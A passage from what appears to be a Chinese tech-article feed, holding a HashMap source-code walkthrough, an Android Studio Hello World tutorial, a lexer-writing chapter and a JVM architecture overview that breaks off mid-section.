public abstract class AbstractMap<K,V> implements Map<K,V>

Stack Overfloooow上解释到：

在语法层面继承接口Map是多余的，这么做仅仅是为了让阅读代码的人明确知道HashMap是属于Map体系的，起到了文档的作用



AbstractMap相当于个辅助类，Map的一些操作这里面已经提供了默认实现，后面具体的子类如果没有特殊行为，可直接使用AbstractMap提供的实现。


Cloneable接口

It's evil, don't use it.


Cloneable这个接口设计的非常不好，最致命的一点是它里面竟然没有clone方法，也就是说我们自己写的类完全可以实现这个接口的同时不重写clone方法。

关于Cloneable的不足，大家可以去看看《Effective Java》一书的作者给出的理由，在所给链接的文章里，Josh Bloch也会讲如何实现深拷贝比较好，我这里就不在赘述了。


Map接口

在eclipse中的outline面板可以看到Map接口里面包含以下成员方法与内部类：


可以看到，这里的成员方法不外乎是“增删改查”，这也反映了我们编写程序时，一定是以“数据”为导向的。

在上篇文章讲了Map虽然并不是Collection，但是它提供了三种“集合视角”（collection views），与下面三个方法一一对应：


	Set<K> keySet()，提供key的集合视角


	Collection<V> values()，提供value的集合视角


	Set<Map.Entry<K, V>> entrySet()，提供key-value序对的集合视角，这里用内部类Map.Entry表示序对





AbstractMap抽象类

AbstractMap对Map中的方法提供了一个基本实现，减少了实现Map接口的工作量。
举例来说：


如果要实现个不可变（unmodifiable）的map，那么只需继承AbstractMap，然后实现其entrySet方法，这个方法返回的set不支持add与remove，同时这个set的迭代器（iterator）不支持remove操作即可。

相反，如果要实现个可变（modifiable）的map，首先继承AbstractMap，然后重写（override）AbstractMap的put方法，同时实现entrySet所返回set的迭代器的remove方法即可。



设计理念（design concept）

哈希表（hash table）

HashMap是一种基于哈希表（hash table）实现的map，哈希表（也叫关联数组）一种通用的数据结构，大多数的现代语言都原生支持，其概念也比较简单：key经过hash函数作用后得到一个槽（buckets或slots）的索引（index），槽中保存着我们想要获取的值，如下图所示



很容易想到，一些不同的key经过同一hash函数后可能产生相同的索引，也就是产生了冲突，这是在所难免的。
所以利用哈希表这种数据结构实现具体类时，需要：


	设计个好的hash函数，使冲突尽可能的减少


	其次是需要解决发生冲突后如何处理。




后面会重点介绍HashMap是如何解决这两个问题的。

HashMap的一些特点


	线程非安全，并且允许key与value都为null值，HashTable与之相反，为线程安全，key与value都不允许null值。


	不保证其内部元素的顺序，而且随着时间的推移，同一元素的位置也可能改变（resize的情况）


	put、get操作的时间复杂度为O(1)。


	遍历其集合视角的时间复杂度与其容量（capacity，槽的个数）和现有元素的大小（entry的个数）成正比，所以如果遍历的性能要求很高，不要把capactiy设置的过高或把平衡因子（load factor，当entry数大于capacity*loadFactor时，会进行resize，reside会导致key进行rehash）设置的过低。


	由于HashMap是线程非安全的，这也就是意味着如果多个线程同时对一hashmap的集合试图做迭代时有结构的上改变（添加、删除entry，只改变entry的value的值不算结构改变），那么会报ConcurrentModificationException，专业术语叫fail-fast，尽早报错对于多线程程序来说是很有必要的。


	Map m = Collections.synchronizedMap(new HashMap(...)); 通过这种方式可以得到一个线程安全的map。




源码剖析

首先从构造函数开始讲，HashMap遵循集合框架的约束，提供了一个参数为空的构造函数与有一个参数且参数类型为Map的构造函数。除此之外，还提供了两个构造函数，用于设置HashMap的容量（capacity）与平衡因子（loadFactor）。

    public HashMap(int initialCapacity, float loadFactor) {
        if (initialCapacity < 0)
            throw new IllegalArgumentException("Illegal initial capacity: " +
                                               initialCapacity);
        if (initialCapacity > MAXIMUM_CAPACITY)
            initialCapacity = MAXIMUM_CAPACITY;
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new IllegalArgumentException("Illegal load factor: " +
                                               loadFactor);

        this.loadFactor = loadFactor;
        threshold = initialCapacity;
        init();
    }
    public HashMap(int initialCapacity) {
        this(initialCapacity, DEFAULT_LOAD_FACTOR);
    }
    public HashMap() {
        this(DEFAULT_INITIAL_CAPACITY, DEFAULT_LOAD_FACTOR);
    }

从代码上可以看到，容量与平衡因子都有个默认值，并且容量有个最大值

    /**
     * The default initial capacity - MUST be a power of two.
     */
    static final int DEFAULT_INITIAL_CAPACITY = 1 << 4; // aka 16

    /**
     * The maximum capacity, used if a higher value is implicitly specified
     * by either of the constructors with arguments.
     * MUST be a power of two <= 1<<30.
     */
    static final int MAXIMUM_CAPACITY = 1 << 30;

    /**
     * The load factor used when none specified in constructor.
     */
    static final float DEFAULT_LOAD_FACTOR = 0.75f;

可以看到，默认的平衡因子为0.75，这是权衡了时间复杂度与空间复杂度之后的最好取值（JDK说是最好的😂），过高的因子会降低存储空间但是查找（lookup，包括HashMap中的put与get方法）的时间就会增加。

这里比较奇怪的是问题：容量必须为2的指数倍（默认为16），这是为什么呢？解答这个问题，需要了解HashMap中哈希函数的设计原理。

哈希函数的设计原理

   /**
     * Retrieve object hash code and applies a supplemental hash function to the
     * result hash, which defends against poor quality hash functions.  This is
     * critical because HashMap uses power-of-two length hash tables, that
     * otherwise encounter collisions for hashCodes that do not differ
     * in lower bits. Note: Null keys always map to hash 0, thus index 0.
     */
    final int hash(Object k) {
        int h = hashSeed;
        if (0 != h && k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }

        h ^= k.hashCode();

        // This function ensures that hashCodes that differ only by
        // constant multiples at each bit position have a bounded
        // number of collisions (approximately 8 at default load factor).
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }

    /**
     * Returns index for hash code h.
     */
    static int indexFor(int h, int length) {
        // assert Integer.bitCount(length) == 1 : "length must be a non-zero power of 2";
        return h & (length-1);
    }

看到这么多位操作，是不是觉得晕头转向了呢，还是搞清楚原理就行了，毕竟位操作速度是很快的，不能因为不好理解就不用了😊。
网上说这个问题的也比较多，我这里根据自己的理解，尽量做到通俗易懂。

在哈希表容量（也就是buckets或slots大小）为length的情况下，为了使每个key都能在冲突最小的情况下映射到[0,length)（注意是左闭右开区间）的索引（index）内，一般有两种做法：


	让length为素数，然后用hashCode(key) mod length的方法得到索引


	让length为2的指数倍，然后用hashCode(key) & (length-1)的方法得到索引




HashTable用的是方法1，HashMap用的是方法2。

因为本篇主题讲的是HashMap，所以关于方法1为什么要用素数，我这里不想过多介绍，大家可以看这里。

重点说说方法2的情况，方法2其实也比较好理解：

因为length为2的指数倍，所以length-1所对应的二进制位都为1，然后在与hashCode(key)做与运算，即可得到[0,length)内的索引



但是这里有个问题，如果hashCode(key)的大于length的值，而且hashCode(key)的二进制位的低位变化不大，那么冲突就会很多，举个例子：

Java中对象的哈希值都32位整数，而HashMap默认大小为16，那么有两个对象那么的哈希值分别为：0xABAB0000与0xBABA0000，它们的后几位都为0，那么与16与后得到的都是0，也就是产生了冲突。



造成冲突的原因关键在于16限制了只能用低位来计算，高位直接舍弃了，所以我们需要额外的哈希函数而不只是简单的对象的hashCode方法了。
具体来说，就是HashMap中hash函数干的事了


首先有个随机的hashSeed，来降低冲突发生的几率

然后如果是字符串，用了sun.misc.Hashing.stringHash32((String) k);来获取索引值

最后，通过一系列无符号右移操作，来把高位与低位进行或操作，来降低冲突发生的几率



右移的偏移量20，12，7，4是怎么来的呢？因为Java中对象的哈希值都是32位的，所以这几个数应该就是把高位与低位做与运算，至于这几个数是如何选取的，就不清楚了，网上搜了半天也没统一且让人信服的说法，大家可以参考下面几个链接：


	http://stackoverflow.com/questions/7922019/openjdks-rehashing-mechanism/7922219#7922219


	http://stackoverflow.com/questions/9335169/understanding-strange-java-hash-function/9336103#9336103


	http://stackoverflow.com/questions/14453163/can-anybody-explain-how-java-design-hashmaps-hash-function/14479945#14479945




HashMap.Entry

HashMap中存放的是HashMap.Entry对象，它继承自Map.Entry，其比较重要的是构造函数

    static class Entry<K,V> implements Map.Entry<K,V> {
        final K key;
        V value;
        Entry<K,V> next;
        int hash;

        Entry(int h, K k, V v, Entry<K,V> n) {
            value = v;
            next = n;
            key = k;
            hash = h;
        }
        // setter, getter, equals, toString 方法省略
        public final int hashCode() {
            //用key的hash值与上value的hash值作为Entry的hash值
            return Objects.hashCode(getKey()) ^ Objects.hashCode(getValue());
        }
        /**
         * This method is invoked whenever the value in an entry is
         * overwritten by an invocation of put(k,v) for a key k that's already
         * in the HashMap.
         */
        void recordAccess(HashMap<K,V> m) {
        }

        /**
         * This method is invoked whenever the entry is
         * removed from the table.
         */
        void recordRemoval(HashMap<K,V> m) {
        }
    }

可以看到，Entry实现了单向链表的功能，用next成员变量来级连起来。

介绍完Entry对象，下面要说一个比较重要的成员变量

    /**
     * The table, resized as necessary. Length MUST Always be a power of two.
     */
    //HashMap内部维护了一个为数组类型的Entry变量table，用来保存添加进来的Entry对象
    transient Entry<K,V>[] table = (Entry<K,V>[]) EMPTY_TABLE;

你也许会疑问，Entry不是单向链表嘛，怎么这里又需要个数组类型的table呢？
我翻了下之前的算法书，其实这是解决冲突的一个方式：开散列法（链地址法），效果如下：



就是相同索引值的Entry，会以单向链表的形式存在

链地址法的可视化

网上找到个很好的网站，用来可视化各种常见的算法，很棒。瞬间觉得国外大学比国内的强不知多少倍。
下面的链接可以模仿哈希表采用链地址法解决冲突，大家可以自己去玩玩😊

	https://www.cs.usfca.edu/~galles/visualization/OpenHash.html




get操作

get操作相比put操作简单，所以先介绍get操作

    public V get(Object key) {
        //单独处理key为null的情况
        if (key == null)
            return getForNullKey();
        Entry<K,V> entry = getEntry(key);
    
        return null == entry ? null : entry.getValue();
    }
    private V getForNullKey() {
        if (size == 0) {
            return null;
        }
        //key为null的Entry用于放在table[0]中，但是在table[0]冲突链中的Entry的key不一定为null
        //所以需要遍历冲突链，查找key是否存在
        for (Entry<K,V> e = table[0]; e != null; e = e.next) {
            if (e.key == null)
                return e.value;
        }
        return null;
    }
    final Entry<K,V> getEntry(Object key) {
        if (size == 0) {
            return null;
        }

        int hash = (key == null) ? 0 : hash(key);
        //首先定位到索引在table中的位置
        //然后遍历冲突链，查找key是否存在
        for (Entry<K,V> e = table[indexFor(hash, table.length)];
             e != null;
             e = e.next) {
            Object k;
            if (e.hash == hash &&
                ((k = e.key) == key || (key != null && key.equals(k))))
                return e;
        }
        return null;
    }

put操作

因为put操作有可能需要对HashMap进行resize，所以实现略复杂些

    private void inflateTable(int toSize) {
        //辅助函数，用于填充HashMap到指定的capacity
        // Find a power of 2 >= toSize
        int capacity = roundUpToPowerOf2(toSize);
        //threshold为resize的阈值，超过后HashMap会进行resize，内容的entry会进行rehash
        threshold = (int) Math.min(capacity * loadFactor, MAXIMUM_CAPACITY + 1);
        table = new Entry[capacity];
        initHashSeedAsNeeded(capacity);
    }
    /**
     * Associates the specified value with the specified key in this map.
     * If the map previously contained a mapping for the key, the old
     * value is replaced.
     */
    public V put(K key, V value) {
        if (table == EMPTY_TABLE) {
            inflateTable(threshold);
        }
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        //这里的循环是关键
        //当新增的key所对应的索引i，对应table[i]中已经有值时，进入循环体
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            //判断是否存在本次插入的key，如果存在用本次的value替换之前oldValue
            //并返回之前的oldValue
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }
        //如果本次新增key之前不存在于HashMap中，modCount加1，说明结构改变了
        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }
    void addEntry(int hash, K key, V value, int bucketIndex) {
        //如果增加一个元素会后，HashMap的大小超过阈值，需要resize
        if ((size >= threshold) && (null != table[bucketIndex])) {
            //增加的幅度是之前的1倍
            resize(2 * table.length);
            hash = (null != key) ? hash(key) : 0;
            bucketIndex = indexFor(hash, table.length);
        }

        createEntry(hash, key, value, bucketIndex);
    }
    void createEntry(int hash, K key, V value, int bucketIndex) {
        //首先得到该索引处的冲突链Entries，有可能为null，不为null
        Entry<K,V> e = table[bucketIndex];
        //然后把新的Entry添加到冲突链的开头，也就是说，后插入的反而在前面（第一次还真没看明白）
        table[bucketIndex] = new Entry<>(hash, key, value, e);
        size++;
    }
    //下面看看HashMap是如何进行resize，庐山真面目就要揭晓了😊
    void resize(int newCapacity) {
        Entry[] oldTable = table;
        int oldCapacity = oldTable.length;
        //如果已经达到最大容量，那么就直接返回
        if (oldCapacity == MAXIMUM_CAPACITY) {
            threshold = Integer.MAX_VALUE;
            return;
        }

        Entry[] newTable = new Entry[newCapacity];
        //initHashSeedAsNeeded(newCapacity)的返回值决定了是否需要重新计算Entry的hash值
        transfer(newTable, initHashSeedAsNeeded(newCapacity));
        table = newTable;
        threshold = (int)Math.min(newCapacity * loadFactor, MAXIMUM_CAPACITY + 1);
    }

    /**
     * Transfers all entries from current table to newTable.
     */
    void transfer(Entry[] newTable, boolean rehash) {
        int newCapacity = newTable.length;
        //遍历当前的table，将里面的元素添加到新的newTable中
        for (Entry<K,V> e : table) {
            while(null != e) {
                Entry<K,V> next = e.next;
                if (rehash) {
                    e.hash = null == e.key ? 0 : hash(e.key);
                }
                int i = indexFor(e.hash, newCapacity);
                e.next = newTable[i];
                //最后这两句用了与put放过相同的技巧
                //将后插入的反而在前面
                newTable[i] = e;
                e = next;
            }
        }
    }
    /**
     * Initialize the hashing mask value. We defer initialization until we
     * really need it.
     */
    final boolean initHashSeedAsNeeded(int capacity) {
        boolean currentAltHashing = hashSeed != 0;
        boolean useAltHashing = sun.misc.VM.isBooted() &&
                (capacity >= Holder.ALTERNATIVE_HASHING_THRESHOLD);
        //这里说明了，在hashSeed不为0或满足useAltHash时，会重算Entry的hash值
        //至于useAltHashing的作用可以参考下面的链接
        // http://stackoverflow.com/questions/29918624/what-is-the-use-of-holder-class-in-hashmap
        boolean switching = currentAltHashing ^ useAltHashing;
        if (switching) {
            hashSeed = useAltHashing
                ? sun.misc.Hashing.randomHashSeed(this)
                : 0;
        }
        return switching;
    }
    

一般而言，认为HashMap中get与put的时间复杂度为O(1)，因为它良好的hash函数，保证了冲突发生的几率比较小。

HashMap的序列化

介绍到这里，基本上算是把HashMap中一些核心的点讲完了，但还有个比较严重的问题：保存Entry的table数组为transient的，也就是说在进行序列化时，并不会包含该成员，这是为什么呢？

transient Entry<K,V>[] table = (Entry<K,V>[]) EMPTY_TABLE;

为了解答这个问题，我们需要明确下面事实：

	Object.hashCode方法对于一个类的两个实例返回的是不同的哈希值




我们可以试想下面的场景：


我们在机器A上算出对象A的哈希值与索引，然后把它插入到HashMap中，然后把该HashMap序列化后，在机器B上重新算对象的哈希值与索引，这与机器A上算出的是不一样的，所以我们在机器B上get对象A时，会得到错误的结果。

所以说，当序列化一个HashMap对象时，保存Entry的table是不需要序列化进来的，因为它在另一台机器上是错误的。



因为这个原因，HashMap重现了writeObject与readObject 方法

    private void writeObject(java.io.ObjectOutputStream s)
        throws IOException
    {
        // Write out the threshold, loadfactor, and any hidden stuff
        s.defaultWriteObject();

        // Write out number of buckets
        if (table==EMPTY_TABLE) {
            s.writeInt(roundUpToPowerOf2(threshold));
        } else {
           s.writeInt(table.length);
        }

        // Write out size (number of Mappings)
        s.writeInt(size);

        // Write out keys and values (alternating)
        if (size > 0) {
            for(Map.Entry<K,V> e : entrySet0()) {
                s.writeObject(e.getKey());
                s.writeObject(e.getValue());
            }
        }
    }

    private static final long serialVersionUID = 362498820763181265L;

    private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
            throw new InvalidObjectException("Illegal load factor: " +
                                               loadFactor);
        }

        // set other fields that need values
        table = (Entry<K,V>[]) EMPTY_TABLE;

        // Read in number of buckets
        s.readInt(); // ignored.

        // Read number of mappings
        int mappings = s.readInt();
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                               mappings);

        // capacity chosen by number of mappings and desired load (if >= 0.25)
        int capacity = (int) Math.min(
                    mappings * Math.min(1 / loadFactor, 4.0f),
                    // we have limits...
                    HashMap.MAXIMUM_CAPACITY);

        // allocate the bucket array;
        if (mappings > 0) {
            inflateTable(capacity);
        } else {
            threshold = capacity;
        }

        init();  // Give subclass a chance to do its thing.

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            K key = (K) s.readObject();
            V value = (V) s.readObject();
            putForCreate(key, value);
        }
    }
    private void putForCreate(K key, V value) {
        int hash = null == key ? 0 : hash(key);
        int i = indexFor(hash, table.length);

        /**
         * Look for preexisting entry for key.  This will never happen for
         * clone or deserialize.  It will only happen for construction if the
         * input Map is a sorted map whose ordering is inconsistent w/ equals.
         */
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash &&
                ((k = e.key) == key || (key != null && key.equals(k)))) {
                e.value = value;
                return;
            }
        }

        createEntry(hash, key, value, i);
    }

简单来说，在序列化时，针对Entry的key与value分别单独序列化，当反序列化时，再单独处理即可。

总结

在总结完HashMap后，发现这里面一些核心的东西，像哈希表的冲突解决，都是算法课上学到，不过由于“年代久远”，已经忘得差不多了，我觉得忘


	一方面是由于时间久不用


	另一方面是由于本身没理解好




平时多去思考，这样在遇到一些性能问题时也好排查。

还有一点就是我们在分析某些具体类或方法时，不要花太多时间一些细枝末节的边界条件上，这样很得不偿失，倒不是说这么边界条件不重要，程序的bug往往就是边界条件没考虑周全导致的。
只是说我们可以在理解了这个类或方法的总体思路后，再来分析这些边界条件。
如果一开始就分析，那真是丈二和尚——摸不着头脑了，随着对它工作原理的加深，才有可能理解这些边界条件的场景。

今天到此为止，下次打算分析TreeMap。Stay Tuned！🍺

PS：今天是反法西斯战争胜利70周年，虽然这是个和平的年代，但是我们仍然不能忘了曾经的伤痛，做好身边的事，爱国从现在做起。🚩🚩🚩🚩🚩🚩

参考


	http://supercoderz.in/understanding-transient-variables-in-java-and-how-they-are-practically-used-in-hashmap/


	http://stackoverflow.com/questions/9144472/why-is-the-hash-table-of-hashmap-marked-as-transient-although-the-class-is-seria





 Android Studio 入门 Hello World

作者：Gavin要加油

来源： Android Studio 入门 Hello World



                    
引言


前两天开始学习android开发，本来想用eclipse进行开发，但是到https://developer.android.com   上一看，发现android studio被大力推广，说明google已经把ide重心投入到了android sdudio上，所以就有了本文，用来介绍android studio 入门。


一、新建工程


安装什么的都不用说了，网上教程很多，下载的时候记得带上android的sdk。打开as，点击File，新建工程。


我的工程名是Test，然后，默认next，记得选择BlankActivity。最后项目建立完成。


二、使用android控件


打开res目录下的layout文件夹，双击activity_main.xml，将button按钮拖入手机中，改名为change。


点击Text我们可以看到Button这一个新加入的控件。


xml<Button
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:text="change"
    android:id="@+id/button"
    android:layout_marginTop="34dp"
    android:layout_below="@+id/textView"
    android:layout_alignParentLeft="true"
    android:layout_alignParentStart="true" />



三、编辑Activity


这个时候打开java目录，找到MainActivity.java，双击打开。我们添加两个控件声明，同时为其赋值。完整代码如下：


javapackage com.sinaapp.gavin.test;

import android.app.Activity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.Button;
import android.widget.TextView;

public class MainActivity extends Activity {

    private TextView textView;//声明
    private Button button;    //声明

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        textView = (TextView)findViewById(R.id.textView);    //赋值
        button = (Button)findViewById(R.id.button);          //赋值

    }
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.menu_main, menu);
        return true;
    }
    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        int id = item.getItemId();

        //noinspection SimplifiableIfStatement
        if (id == R.id.action_settings) {
            return true;
        }
        return super.onOptionsItemSelected(item);
    }
}



接下来，在onCreate方法中为button设置按键监听。


javaprotected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    textView = (TextView)findViewById(R.id.textView);
    button = (Button)findViewById(R.id.button);

    button.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View v) {
            textView.setText("changed");
        }
    });
}



四、debug测试


在测试时候，你可以设置断点，当程序运行到指定的位置后，它会自动进入断点，显示当前变量的一些内容，这个比较好用，因为我发现我写的程序经常出现NullException。这个时候，我就能找到我在哪里没有为变量赋值。


在工具栏run工具框下点击edit configuration，将target device设置为USB device。这时，将你的安卓手机连上你的电脑，如果没有驱动，请下载豌豆荚，他会默认下载你的手机的驱动。


点击run，现在就等着在手机上出现吧。


五、生成apk文件


在工具栏的build选项中选择generate signed apk。


 这时，需要一个密钥，我们使用java自带的密钥生成器keytool，打开windows自带的cmd命令框。输入：



  keytool -genkey -alias gavin -keypass 654321 -keyalg RSA -keysize 1024 -validity 365 -keystore e:\key\gavin.keystore -storepass 123456 -dname CN=abcd





  keypass是你自己的密码，不能被公布，storepass是公开的密码，CN是你的名字，默认输出到E盘的key文件夹下。







在第一个password中输入公开的密码，在第二个password输入你自己的密码，点击next，下一步就可以打包成apk以供下载。


六、总结


android studio是一个好ide，它是基于idea的专门为安卓进行过二次开发的一个集成开发环境，在这里你能够快速找到你想用的一些功能，总之比eclipse好用很多。


 从零开始写个编译器吧 - 开始写词法分析器（1）

作者：MOsky泽

来源： 从零开始写个编译器吧 - 开始写词法分析器（1）



                    
上一章提到我要手写词法分析器这个状态机，嗯，那就让我们开始吧。

    public class LexicalAnalysis {
        
        private static enum State {
            Normal, 
            Identifier, Sign, Annotation,
            String, RegEx, Space;
        }
    
        public LexicalAnalysis(Reader reader) {
            //TODO
        }
    
        Token read() throws IOException, LexicalAnalysisException {
            //TODO
            return null;
        }

        private State state;
        private final LinkedList<Token> tokenBuffer = new LinkedList<>();
        private StringBuilder readBuffer = null;
        
        private void refreshBuffer(char c) {
            readBuffer = new StringBuilder();
            readBuffer.append(c);
        }

    private void createToken(Type type) {
        Token token = new Token(type, readBuffer.toString());
        tokenBuffer.addFirst(token);
        readBuffer = null;
    }
        
        private boolean readChar(char c) throws LexicalAnalysisException {
            //TODO 状态机逻辑...
        }
    }

于是我又添加了一点代码。可以看到，我放着 readChar() 函数的 TODO 不管，又添加了一个 readChar(char c) 的函数。因为我有这么一个考虑：对于readChar()方法而言，这个是一个被动调用的函数，外部调用一下，就读到一个Token。这样设计，今后写 Parser 时读取 Token 会要简单许多。而readChar(char c)是一个主动调用的函数，它的实现部分直接处理接受的参数 char 就行了，而且也不必立即返回 Token。这样我在写 readChar(char c) 本身的时候会简单许多。

实际上，在状态机不断接受字符的过程中，会先调用 readBuffer.append(...) 将其缓存，并在适当的时机调用 createToken(...) 生成 Token。

至此，readChar(char c) 就变成了一个纯粹用于实现状态机功能的函数了。让我们开始写这个函数吧。

    private State state;

    private boolean readChar(char c) throws LexicalAnalysisException {
    
        boolean moveCursor = true;
        Type createType = null;
    
        if(state == State.Normal) {
            
        } else if(state == State.Identifier) {
            
        } else if(state == State.Sign) {
        
        } else if(state == State.Annotation) {
            
        } else if(state == State.String) {
            
        } else if(state == State.RegEx) {
        
        } else if(state == State.Space) {
            
        }
        
        if(createType != null) {
            createToken(createType);
        }
        return moveCursor;
    }

一个典型的状态机，处于不同状态，对于接受的参数 char 进行不同的操作。同时，我可以通过 state = ?; 来改变状态机的状态。

这个函数会返回一个 boolean 类型的变量，即 moveCursor，这个变量表示，在读完当前 char 之后，是否移动游标读取下一个字符。如果为 false，则该函数的下一次调用的参数与前一次调用的参数会一模一样（因为游标没有移动嘛）。

最自然的情况下 moveCursor == true，就是读了一个字符以后再读下一个字符嘛。

嗯，然后开始填充这些 if-else 之间的空白吧，先从 Normal 状态开始。

private boolean readChar(char c) throws LexicalAnalysisException {

    boolean moveCursor = true;
    Type createType = null;
    
    if(state == State.Normal) {
        if(inIdentifierSetButNotRear(c)) {
            state = State.Identifier;
        }
        else if(SignParser.inCharSet(c)) {
            state = State.Sign;
        }
        else if(c == '#') {
            state = State.Annotation;
        }
        else if(c == '\"' | c == '\'') {
            state = State.String;
        }
        else if(c == '`') {
            state = State.RegEx;
        }
        else if(include(Space, c)) {
            state = State.Space;
        }
        else if(c == '\n') {
            createType = Type.NewLine;
        }
        else if(c == '\0') {
            createType = Type.EndSymbol;
        }
        else {
            throw new LexicalAnalysisException(c);
        }
        refreshBuffer(c);
        
    } else if(state == State.Identifier) {
        
    } else if(state == State.Sign) {
        
    } else if(state == State.Annotation) {
        
    } else if(state == State.String) {
        
    } else if(state == State.RegEx) {
        
     } else if(state == State.Space) {
        
    }
        
    if(createType != null) {
        createToken(createType);
    }
    return moveCursor;
}

填充的代码中出现了一些新函数和变量，我将补充在下面。

    private static final char[] Space = new char[] {' ', '\t'};
    
    private boolean inIdentifierSetButNotRear(char c) {
        return (c >= 'a' & c <= 'z' ) | (c >='A' & c <= 'Z') | (c >= '0' & c <= '9')|| (c == '_');
    }
    
    private boolean include(char[] range, char c) {
        boolean include = false;
        for(int i=0; i<range.length; ++i) {
            if(range[i] == c) {
                include = true;
                break;
            }
        }
        return include;
    }

其中 include 函数用于判断字符是否归属于某个集合。而 inIdentifierSetButNotRear 用于判定字符是否属于标示符字符。这里的标示符不仅限于用户定义的标示符，还包括关键字和数字（第5章有提及）。

当然，还有一个 SignParser.inCharSet(c) ，不过这个我想推迟到今后的章节说明，此处就不多做展开。
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JVM


Java 虚拟机 Java 虚拟机（Java virtual machine，JVM）是运行 Java 程序必不可少的机制。JVM实现了Java语言最重要的特征：即平台无关性。原理：编译后的 Java 程序指令并不直接在硬件系统的 CPU 上执行，而是由 JVM 执行。JVM屏蔽了与具体平台相关的信息，使Java语言编译程序只需要生成在JVM上运行的目标字节码（.class）,就可以在多种平台上不加修改地运行。Java 虚拟机在执行字节码时，把字节码解释成具体平台上的机器指令执行。因此实现java平台无关性。它是 Java 程序能在多平台间进行无缝移植的可靠保证，同时也是 Java 程序的安全检验引擎（还进行安全检查）。


JVM 是 编译后的 Java 程序（.class文件）和硬件系统之间的接口 （ 编译后：javac 是收录于 JDK 中的 Java 语言编译器。该工具可以将后缀名为. java 的源文件编译为后缀名为. class 的可以运行于 Java 虚拟机的字节码。）




JVM architecture:


图片摘自 http://javapapers.com/java/java-garbage-collection-introduction/


JVM = 类加载器 classloader + 执行引擎 execution engine + 运行时数据区域 runtime data area

classloader 把硬盘上的class 文件加载到JVM中的运行时数据区域, 但是它不负责这个类文件能否执行，而这个是 执行引擎 负责的。




classloader


作用：装载.class文件

classloader 有两种装载class的方式 （时机）：

1. 隐式：运行过程中，碰到new方式生成对象时，隐式调用classLoader到JVM

2. 显式：通过class.forname()动态加载


双亲委派模型（Parent Delegation Model）：


类的加载过程采用双亲委托机制，这种机制能更好的保证 Java 平台的安全。

该模型要求除了顶层的Bootstrap class loader启动类加载器外，其余的类加载器都应当有自己的父类加载器。子类加载器和父类加载器不是以继承（Inheritance）的关系来实现，而是通过组合（Composition）关系来复用父加载器的代码。每个类加载器都有自己的命名空间（由该加载器及所有父类加载器所加载的类组成，在同一个命名空间中，不会出现类的完整名字（包括类的包名）相同的两个类；在不同的命名空间中，有可能会出现类的完整名字（包括类的包名）相同的两个类）


双亲委派模型的工作过程为：


1.当前 ClassLoader 首先从自己已经加载的类中查询是否此类已经加载，如果已经加载则直接返回原来已经加载的类。


每个类加载器都有自己的加载缓存，当一个类被加载了以后就会放入缓存，
等下次加载的时候就可以直接返回了。



2.当前 classLoader 的缓存中没有找到被加载的类的时候，委托父类加载器去加载，父类加载器采用同样的策略，首先查看自己的缓存，然后委托父类的父类去加载，一直到 bootstrap ClassLoader.

3. 当所有的父类加载器都没有加载的时候，再由当前的类加载器加载，并将其放入它自己的缓存中，以便下次有加载请求的时候直接返回。


使用这种模型来组织类加载器之间的关系的好处:

主要是为了安全性，避免用户自己编写的类动态替换 Java 的一些核心类，比如 String，同时也避免了重复加载，因为 JVM 中区分不同类，不仅仅是根据类名，相同的 class 文件被不同的 ClassLoader 加载就是不同的两个类，如果相互转型的话会抛java.lang.ClassCaseException.


类加载器 classloader 是具有层次结构的，也就是父子关系。其中，Bootstrap 是所有类加载器的父亲。如下图所示：
Bootstrap class loader： 父类

当运行 java 虚拟机时，这个类加载器被创建，它负责加载虚拟机的核心类库，如 java.lang.* 等。例如 java.lang.Object 就是由根类加载器加载的。需要注意的是，这个类加载器不是用 java 语言写的，而是用 C/C++ 写的。
Extension class loader:

这个加载器加载出了基本 API 之外的一些拓展类。
AppClass Loader:

加载应用程序和程序员自定义的类。


除了以上虚拟机自带的加载器以外，用户还可以定制自己的类加载器（User-defined Class Loader）。Java 提供了抽象类 java.lang.ClassLoader，所有用户自定义的类加载器应该继承 ClassLoader 类。


这是JVM分工自治生态系统的一个很好的体现。


http://www.importnew.com/6581.html




执行引擎


作用： 执行字节码，或者执行本地方法


runtime data area


JVM 运行时数据区 (JVM Runtime Area) 其实就是指 JVM 在运行期间，其对JVM内存空间的划分和分配。JVM在运行时将数据划分为了6个区域来存储。


程序员写的所有程序都被加载到运行时数据区域中，不同类别存放在heap, java stack, native method stack, PC register, method area.


下面对各个部分的功能和存储的内容进行描述：





1、PC程序计数器：一块较小的内存空间，可以看做是当前线程所执行的字节码的行号指示器, NAMELY存储每个线程下一步将执行的JVM指令，如该方法为native的，则PC寄存器中不存储任何信息。Java 的多线程机制离不开程序计数器，每个线程都有一个自己的PC，以便完成不同线程上下文环境的切换。


